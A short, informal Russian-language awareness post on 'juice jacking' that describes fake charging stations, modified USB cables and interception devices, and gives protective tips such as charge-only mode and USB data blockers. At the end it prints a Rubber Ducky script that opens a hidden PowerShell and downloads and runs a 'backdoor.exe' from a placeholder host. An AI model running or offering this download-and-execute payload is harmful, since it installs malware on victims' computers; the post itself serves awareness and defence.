Juice Jacking

Juice jacking - это атака, при которой злодии используют поддельные или модифицированные USB-порты и зарядные устройства для кражи данных с подключенного смартфона или пенетрации его вредоносным ПО. 
Как только вы подключаете телефон к заражённому разъёму, устройство может незаметно передать вашу личную информацию: контакты, домашнее видео из галереи (то самое на 2 минуты), сообщения, пароли, куки, приватные ключи и даже банковские данные.

Поддельные зарядные станции - устройства, внешне не отличающиеся от обычных, но внутри которых установлены платы для перехвата данных.

Модифицированные кабели USB - выглядят как обычные, но внутри содержат микроконтроллер, способный выполнять команды или записывать данные.

Промежуточные устройства - вставляются между настоящей станцией и кабелем, незаметно считывая данные.

Известны случаи, продажи таких зарядных устройств на китайский маркетплейсах и даже Ozon и WB.
Размещении таких волшебных зарядок, в общественных местах, например аэропортах. Зарядились, удачно сели, отключили режим самолёта, а вы - бомж, ещё и с кредитом.

1) Смотрите что и куда втыкаете.

2) Не покупайте паль стрёмного происхождения!

3) Используйте качественные и оригинальные зарядки, power bank и кабели!

4) Используйте USB-конденсаторы (USB condom) - девайсина, которая блокируют передачу данных.

5) Используйте режим "Только зарядка".

Пример сценария атаки с USB-Флешки Rubber Ducky для вашей любимой Windows:

DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://vampizdariki.com/backdoor.exe','%TEMP%\bd.exe'); Start-Process '%TEMP%\bd.exe'
ENTER

Этот скрипт открывает окно "Выполнить", запускает PowerShell и скачивает файл. Адрес vampizdariki.com должен быть заменён на локальный сервер.